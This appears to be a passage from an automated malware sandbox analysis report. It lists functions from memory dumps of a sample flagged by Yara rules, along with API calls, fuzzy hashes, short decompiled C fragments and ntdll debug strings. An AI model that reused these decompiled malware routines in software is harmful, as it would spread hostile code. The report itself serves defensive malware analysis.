LdrInitializeThunk.NTDLL ref: 00A198FA

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ef1a5ad38699d06f61cd6867277f96b4614f666c369b4dcfbbf512e8a4703a24
Instruction ID: 6fdbb51f071b74a6610215288686bb756626caa5da3280d64220b9c4e697100c
Opcode Fuzzy Hash: ef1a5ad38699d06f61cd6867277f96b4614f666c369b4dcfbbf512e8a4703a24
Instruction Fuzzy Hash: DE90026160101502D201716D5404616000A97D0391FA1C032E5014555FCA658992F171

Uniqueness

Uniqueness Score: -1.00%

Function 00A19860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A1986A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 15de31a939f4fc0052f740eb711f108c9e53354422efdfa5c4cae63d4c562408
Instruction ID: 5a328b43c4a2f31c8cc5ae56e65d39c11079c071943f5df38331f1fdb159f876
Opcode Fuzzy Hash: 15de31a939f4fc0052f740eb711f108c9e53354422efdfa5c4cae63d4c562408
Instruction Fuzzy Hash: AE90027120101413D211616D5504707000997D0391FA1C432E4414558E96968952F161

Uniqueness

Uniqueness Score: -1.00%

Function 00A19840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A1984A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fdd68646c842707d4d01c36a7b58ee4f7b9908a0fe83064a1de8bcea76f64f8c
Instruction ID: 789dd4e83f24a23ef34c997753c559cfd7b9be26541772cd7ec02aa229d69c49
Opcode Fuzzy Hash: fdd68646c842707d4d01c36a7b58ee4f7b9908a0fe83064a1de8bcea76f64f8c
Instruction Fuzzy Hash: 56900261242051525645B16D54045074006A7E03917A1C032E5404950D85669856E661

Uniqueness

Uniqueness Score: -1.00%

Function 00A199A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A199AA

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b0d6019db4b8f468451572f9e5db9fef30dc4175b6a60b70b1bd9d733167de71
Instruction ID: 340daf323f2ef470b5f8158ee5572bac99f074ecdedbddf26b2a9fe1251c8943
Opcode Fuzzy Hash: b0d6019db4b8f468451572f9e5db9fef30dc4175b6a60b70b1bd9d733167de71
Instruction Fuzzy Hash: 7A9002A134101442D200616D5414B060005D7E1351F61C035E5054554E8659CC52B166

Uniqueness

Uniqueness Score: -1.00%

Function 00A19910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A1991A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b0a44e484336edf8b160c6473afcff5912848f0e68d1e38d00522ccc504506a8
Instruction ID: 983a0f22cb5ea607c9e6e18367fc4c0ec7e44d90af9293294b4a1e3218b15597
Opcode Fuzzy Hash: b0a44e484336edf8b160c6473afcff5912848f0e68d1e38d00522ccc504506a8
Instruction Fuzzy Hash: 439002B120101402D240716D5404746000597D0351F61C031E9054554F86998DD5B6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A19A20, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A19A2A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a11c55db55b0562724ba075ab68179b2058fd3e956fd9a6888f125cc45b82d2a
Instruction ID: ca5a3d7921262ffba169481c93794b537532a6fb90a7973ce44081c8e9601496
Opcode Fuzzy Hash: a11c55db55b0562724ba075ab68179b2058fd3e956fd9a6888f125cc45b82d2a
Instruction Fuzzy Hash: 0D900261601010424240717D98449064005BBE1361761C131E4988550E85998865A6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A19A00, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A19A0A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9d9603a6cb29c1eecb3bc91a4e6c9efcebcc14c8e79d2278b4b002aa2a417185
Instruction ID: 24b6cb62f14a61a16b2f559375f3953bc999ff327a987523de8fe1893c0a765e
Opcode Fuzzy Hash: 9d9603a6cb29c1eecb3bc91a4e6c9efcebcc14c8e79d2278b4b002aa2a417185
Instruction Fuzzy Hash: 9790027120141402D200616D581470B000597D0352F61C031E5154555E86658851B5B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A19A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A19A5A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 571627f311731508edd7c491e6eff1eec101c5077cbd9aea42dd91de2c3f43c4
Instruction ID: 6c235da95b2aa13649ba012ad8512b494ea65b40347fe6be78c0923a7f75c1bb
Opcode Fuzzy Hash: 571627f311731508edd7c491e6eff1eec101c5077cbd9aea42dd91de2c3f43c4
Instruction Fuzzy Hash: 4A90026121181042D300657D5C14B07000597D0353F61C135E4144554DC9558861A561

Uniqueness

Uniqueness Score: -1.00%

Function 00A195D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A195DA

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 091f799513e5c054425157a69518aa28ac54103b760fa87bc690c5c05f4cd7ba
Instruction ID: 8ade254712891229ecc023b2757882554a789d466c5c6c3a1cb1a1e82727f052
Opcode Fuzzy Hash: 091f799513e5c054425157a69518aa28ac54103b760fa87bc690c5c05f4cd7ba
Instruction Fuzzy Hash: 049002A1202010034205716D5414616400A97E0351B61C031E5004590EC5658891B165

Uniqueness

Uniqueness Score: -1.00%

Function 00A19540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A1954A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1fbf546b4bb3c42ecdabb8250a0de03ba0a36ff5f9e2eb85cfe90e2db257a2d8
Instruction ID: ac2e1d8a6c71141f269affc8560cf3a9b8e212b3264f742d4a0c0e532f7d237c
Opcode Fuzzy Hash: 1fbf546b4bb3c42ecdabb8250a0de03ba0a36ff5f9e2eb85cfe90e2db257a2d8
Instruction Fuzzy Hash: D9900265211010030205A56D1704507004697D53A1361C031F5005550DD6618861A161

Uniqueness

Uniqueness Score: -1.00%

Function 00A196E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A196EA

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 730422630b6b8320dcbb787d23fc0e5581367deb4bf881963839b7a25ed0ad00
Instruction ID: ecba53ba40ae97d53c2412be5feb3f8f1fb0a13ae1da49d4cd01e1f8da930391
Opcode Fuzzy Hash: 730422630b6b8320dcbb787d23fc0e5581367deb4bf881963839b7a25ed0ad00
Instruction Fuzzy Hash: 0190027120109802D210616D940474A000597D0351F65C431E8414658E86D58891B161

Uniqueness

Uniqueness Score: -1.00%

Function 00A19660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A1966A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4d0757791d7bc39f9b852b72be5a0721690e7ba8ebf6b940fd01e46459c45061
Instruction ID: cd431dcfd52e6aa9f894b827b33137e13a6137a74f71ee7409eaa4f98b79e223
Opcode Fuzzy Hash: 4d0757791d7bc39f9b852b72be5a0721690e7ba8ebf6b940fd01e46459c45061
Instruction Fuzzy Hash: B190027120101802D280716D540464A000597D1351FA1C035E4015654ECA558A59B7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00A197A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A197AA

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3cce71d37b1f97991231618c163ce53a505fc8cc015f1068494e3f87796eb928
Instruction ID: bcddd03d8375897d5033e4fc4f0d8046428baa4719d4ed0b95ed2911efe63032
Opcode Fuzzy Hash: 3cce71d37b1f97991231618c163ce53a505fc8cc015f1068494e3f87796eb928
Instruction Fuzzy Hash: C490026130101003D240716D64186064005E7E1351F61D031E4404554DD9558856A262

Uniqueness

Uniqueness Score: -1.00%

Function 00A19780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A1978A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ba7bf292a4ff7bd6b7285b6ae4068f73a973eb7c6b0e1b56d106e45b6f6b080c
Instruction ID: 4fda15a625a2ca8955e75b64a1db3e30a16c43dd447eecdd4f110dc1cd2a4e25
Opcode Fuzzy Hash: ba7bf292a4ff7bd6b7285b6ae4068f73a973eb7c6b0e1b56d106e45b6f6b080c
Instruction Fuzzy Hash: D990026921301002D280716D640860A000597D1352FA1D435E4005558DC9558869A361

Uniqueness

Uniqueness Score: -1.00%

Function 00A19FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A19FEA

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fe1d65a4401368daf8dff4f47fe08e2f84f4aa259fa42cc25c78b351e0c89345
Instruction ID: e50d6eb72080f22b98e51188efe54ddf29a8b40c3b237a9358dba59ded4107a2
Opcode Fuzzy Hash: fe1d65a4401368daf8dff4f47fe08e2f84f4aa259fa42cc25c78b351e0c89345
Instruction Fuzzy Hash: 1F90027131115402D210616D9404706000597D1351F61C431E4814558E86D58891B162

Uniqueness

Uniqueness Score: -1.00%

Function 00A19710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A1971A

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7f29fcbfbae69effdbfa4e6824513d07f2c6639ccadec368d1d60d3be2da552f
Instruction ID: f5c46e032402593763c0e009cb1c4cdaa0e900f842e0d46bce5d98e76d778e13
Opcode Fuzzy Hash: 7f29fcbfbae69effdbfa4e6824513d07f2c6639ccadec368d1d60d3be2da552f
Instruction Fuzzy Hash: DF90027120101402D20065AD6408646000597E0351F61D031E9014555FC6A58891B171

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction ID: aa626ceb7ef0a3bcdbf1efb1d9dc2f5a7bb3811b4857f0e914c6161f28eec10c
Opcode Fuzzy Hash: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction Fuzzy Hash: FE213AB3D402085BDB10E6649D42BFF73AC9B50304F44057FF989A3182F638BB4987A6

Uniqueness

Uniqueness Score: -1.00%

Function 004185D6, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 8139a7ff252905a8e4eaea2f756dc772d2380b88e40bdef1e3070680d3814c49
Instruction ID: 9198f92ec978cf86d44f1621e0a9620de1d138a3d8fef94b2ae41f73174d4eb7
Opcode Fuzzy Hash: 8139a7ff252905a8e4eaea2f756dc772d2380b88e40bdef1e3070680d3814c49
Instruction Fuzzy Hash: CE1129B5204208ABCB14DF99DC81EEB77A9EF88750F14865DFE4D97241CA34E8518BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00407260, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407260(void* __ebx, void* __edx, void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t23;
				intOrPtr* _t27;
				void* _t28;
				void* _t32;

				_t32 = __eflags;
				_v68 = 0;
				E00419D20(__ebx, __edx,  &_v67, 0, 0x3f);
				E0041A900(__edx,  &_v68, 3);
				_t12 = E00409B20(__ebx, _t32, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00413E30(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t27 = _t13;
				if(_t27 != 0) {
					_t23 = _a8;
					_t14 = PostThreadMessageW(_t23, 0x111, 0, 0); // executed
					_t34 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t27(_t23, 0x8003, _t28 + (E00409280(_t34, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407260
0x0040726f
0x00407273
0x0040727e
0x0040728e
0x0040729e
0x004072a3
0x004072aa
0x004072ad
0x004072ba
0x004072bc
0x004072be
0x004072db
0x004072db
0x00000000
0x004072dd
0x004072e2

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
Instruction ID: bbcd0b2e5740072d15388175686a93538b06234ac68ffc2b081785cbfc84dfa6
Opcode Fuzzy Hash: 2611248cf2981be21f72ca7afad4f10f88413beaa9ea5ad5021ab45b4f53d4d7
Instruction Fuzzy Hash: 2B01D431A8022876E720A6959C03FFF772C9B00B54F05405EFF04BA1C2E6A87D0682EA

Uniqueness

Uniqueness Score: -1.00%

Function 00418457, Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004184BD

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ef01e4c2fcd8cc2be3dfdfc9b922cc0711b0fc3a363d89f3de3e74149d4afa6a
Instruction ID: affc205b174bfb2e41cf0332fd4788673a921b47490d9ed7267cf9334570296e
Opcode Fuzzy Hash: ef01e4c2fcd8cc2be3dfdfc9b922cc0711b0fc3a363d89f3de3e74149d4afa6a
Instruction Fuzzy Hash: 8BF0AFB52042006FD724DF64DC81EE77769EF94314B15854EF84847382DA31E911CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 004186A1, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 26c423ce74e741da976754231809a6c97852f1c09739e11ad06cc8033b650e05
Instruction ID: d316ec5e856bc905f35c0f9ac385d844d75feb423c13bb6b073b38de686d282d
Opcode Fuzzy Hash: 26c423ce74e741da976754231809a6c97852f1c09739e11ad06cc8033b650e05
Instruction Fuzzy Hash: 3CF09076214304ABCB10EF69D885CEB7BA8EF84354B01854EF85C47203CA75E91687A0

Uniqueness

Uniqueness Score: -1.00%

Function 004184C2, Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004184C2(void* __edx, intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				void* _v117;
				void* _v1865171500;
				char _t14;
				void* _t21;

				asm("cmc");
				asm("a16 cld");
				_t11 = _a4;
				_t5 = _t11 + 0xc74; // 0xc74
				E00418DC0(_t21, _a4, _t5,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t14 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t14;
			}

0x004184c2
0x004184c3
0x004184d3
0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: fce27294d00babc08665f5dc1589cd838e77be0b809c1b8f22c33d0a41db8b69
Instruction ID: 016757871944d6aedc05f4ec0809e27f93b1f516679b64d404abb761913be94f
Opcode Fuzzy Hash: fce27294d00babc08665f5dc1589cd838e77be0b809c1b8f22c33d0a41db8b69
Instruction Fuzzy Hash: 02E06DB16002046BDB24DF65DC46EEB7B68EF98390F118588FD589B251C631E911CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418621, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 5ccf0de362d63baa40f4b5284173a6b7b2fa494a481a62f9ef6f848a579856a4
Instruction ID: 5e4e3d53776d75ed860a76d47da3be09a2eb080ee8ce7ea7157c921c898b4550
Opcode Fuzzy Hash: 5ccf0de362d63baa40f4b5284173a6b7b2fa494a481a62f9ef6f848a579856a4
Instruction Fuzzy Hash: 72E0EDB1200204AFDB20DF55DC44FE737A9AF85320F048289FD0D5B281CA31E9428BA0

Uniqueness

Uniqueness Score: -1.00%

Function 004184D0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004184D0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E00418DC0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 0c1265b7fbf046cbfd36917309396888787f1b5b9f48543de1c0af89871077f5
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 2EE01AB12002046BD714DF59DC45EA777ACAF88750F014559F90857241CA30E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418490, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004184BD

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: d4cd8ba0fc8cb19801f053331f4cf649e26225416c3eadc5d6da7764d9533391
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 81E012B1200208ABDB14EF99DC41EA777ACAF88654F118559FA085B282CA30F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418630, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: a95af6b202be8dae21372797db95a078404a8f30fafd20f5c772dce95c9aa66f
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 31E01AB12002086BDB10DF49DC85EE737ADAF89650F018559FA0857241CA34E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418510, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418510(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E00418DC0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418513
0x0041852a
0x00418538

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 7205fd5e3e27dabd4e13006f85928de99448ffddaf0958f387cae24292a3a6f6
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: ACD012716003147BD620DF99DC85FD7779CDF49750F018469BA1C5B241C931BA0086E1

Uniqueness

Uniqueness Score: -1.00%

Function 00418505, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00418505(int _a4) {
				intOrPtr _v0;
				void* _t12;
				signed int _t13;

				_push(ss);
				 *0x5525049c =  *0x5525049c ^ _t13;
				_t7 = _v0;
				_push(_t13);
				E00418DC0(_t12, _v0, _v0 + 0xc7c,  *((intOrPtr*)(_t7 + 0xa14)), 0, 0x36);
				ExitProcess(_a4);
			}

0x00418505
0x0041850b
0x00418513
0x0041851c
0x0041852a
0x00418538

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 07e9a4595feff9319ff99bcf8c506e666760eb1bef4ea9de84f467ee7a8a1ae8
Instruction ID: b5a6cc87359c11d11e656366a47ebe0701ecdac285029155797c18cc2b3a30bf
Opcode Fuzzy Hash: 07e9a4595feff9319ff99bcf8c506e666760eb1bef4ea9de84f467ee7a8a1ae8
Instruction Fuzzy Hash: 3FE08C31610300ABC224DF68CC86FC73BA8EB08750F008469B9089B281CA30EA008BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00A1967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00A19694

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4aded6f9c402280d0ddc4bc4e0d01a7bd38b973ddfd07771982205000639c5c4
Instruction ID: 6a75e58aebd613f179cee16b623f8ee083db868935f688d0cbbe47fe64d4a065
Opcode Fuzzy Hash: 4aded6f9c402280d0ddc4bc4e0d01a7bd38b973ddfd07771982205000639c5c4
Instruction Fuzzy Hash: 87B092B29025E5CAEB11E7B45A08B2B7A00BBE0751F26C072E2120681B4778C4D1F6B6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A8B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

The resource is owned exclusively by thread %p, xrefs: 00A8B374
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 00A8B39B
an invalid address, %p, xrefs: 00A8B4CF
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00A8B38F
<unknown>, xrefs: 00A8B27E, 00A8B2D1, 00A8B350, 00A8B399, 00A8B417, 00A8B48E
*** An Access Violation occurred in %ws:%s, xrefs: 00A8B48F
*** Resource timeout (%p) in %ws:%s, xrefs: 00A8B352
The instruction at %p tried to %s , xrefs: 00A8B4B6
*** Inpage error in %ws:%s, xrefs: 00A8B418
Go determine why that thread has not released the critical section., xrefs: 00A8B3C5
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 00A8B47D
*** enter .exr %p for the exception record, xrefs: 00A8B4F1
read from, xrefs: 00A8B4AD, 00A8B4B2
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 00A8B476
*** enter .cxr %p for the context, xrefs: 00A8B50D
*** A stack buffer overrun occurred in %ws:%s, xrefs: 00A8B2F3
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 00A8B3D6
write to, xrefs: 00A8B4A6
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 00A8B484
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 00A8B53F
The resource is owned shared by %d threads, xrefs: 00A8B37E
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 00A8B2DC
This failed because of error %Ix., xrefs: 00A8B446
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 00A8B314
a NULL pointer, xrefs: 00A8B4E0
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 00A8B323
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 00A8B305
The instruction at %p referenced memory at %p., xrefs: 00A8B432
*** then kb to get the faulting stack, xrefs: 00A8B51C
The critical section is owned by thread %p., xrefs: 00A8B3B9

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
